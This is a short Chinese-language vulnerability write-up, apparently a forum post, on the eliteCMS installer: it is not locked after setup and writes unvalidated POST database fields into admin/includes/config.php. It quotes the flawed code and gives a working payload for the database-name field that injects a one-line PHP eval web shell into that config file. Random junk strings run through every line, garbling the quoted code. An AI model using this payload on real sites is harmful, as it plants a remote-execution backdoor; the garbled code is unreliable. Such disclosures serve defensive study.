eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装: W) `& y! a7 ? k: B
& b6 ?! e+ @! [! Y5 h另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php+ S9 Y3 Q# D5 w
我们来看代码:
1 g- [* Z; r5 y$ n& j9 y% S " \8 O6 I6 k' ?/ `0 A# b
...( L" f. w9 j/ O0 r% ~4 E h8 D
elseif ($_GET['step'] == "4") {
- |6 ~0 O8 _) }8 ]$ @' A' E $file = "../admin/includes/config.php";7 N0 n3 j8 a- F5 D! c/ U: y: ^
$write = "<?php\n";
1 e7 }3 C: U! B: Y4 n O/ b $write .= "/**\n";9 z) O! b# f( |; i0 {
$write .= "*\n";
, ~" Y5 m6 W! _- r% k; d $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
% @1 m5 A" Q4 m i L/ j- f...略...
/ Y( r; k; x/ F1 [ $write .= "*\n";
1 |# ]9 w1 h3 S* T; {0 \ $write .= "*/\n";6 [3 y! J0 e+ z
$write .= "\n";# g0 `5 A) [! H, Y/ W3 f7 @1 m: y
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
' t) D \' \# w$ s! g% O: S $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
4 [' W+ b2 j% w3 D6 W8 k& L $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";4 K# W0 X" ?- G' R
$write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
! i3 n$ s2 A/ k- y $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
! t$ x) j: q5 c6 c$ s; E $write .= "if (!\$connection) {\n";/ x* ]3 q- W6 m; V3 |
$write .= " die(\"Database connection failed\" .mysql_error());\n";
5 r6 e# ~6 _$ v& @4 H I5 q4 e+ S $write .= " \n";( e- T/ H5 T0 y1 w& |4 ^
$write .= "} \n";: T( y1 J# e2 k" g
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
8 _1 \$ E: P7 |, f* p $write .= "if (!\$db_select) {\n";
+ u ]5 J5 z( S- ~" u: t8 | $write .= " die(\"Database select failed\" .mysql_error());\n";# _; s' o4 N$ V; s, \2 I
$write .= " \n";8 q0 U& v' }9 o; C0 ` F
$write .= "} \n";9 r8 }$ Q& w# X! c$ M# s
$write .= "?>\n";% P6 q7 E9 t( S
1 g; p3 K: S( Z) N6 H" Y $writer = fopen($file, 'w');
# R; ?4 }" l3 P...
/ C; s S9 Z$ T, r8 z9 r
N1 f# n* j7 O; a在看代码:
_" [3 u4 D S1 ^! F: B5 F 2 Z- @ Z: b6 c. |
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
' z+ v" \0 h# F" ^$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
/ o. B& l+ V3 O4 |% Y9 w$_SESSION['DB_USER'] = $_POST['DB_USER'];7 j# Z9 ?3 I) r5 o+ b
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
3 P" j! W3 C8 R
8 U4 D* ^9 D6 M0 E取值未作任何验证- Z: }. |4 L% Z. @- D( V
如果将数据库名POST数据:' l1 P/ u7 Y" G0 n4 j+ R* v
& D* _ V% [9 ^$ }
"?><?php eval($_POST[c]);?><?php
0 v; |% N$ ^4 W& V/ Q 4 p2 H6 _, S$ }5 q) w
将导致一句话后门写入/admin/includes/config.php$ ]* x' c5 z/ q; S. A
|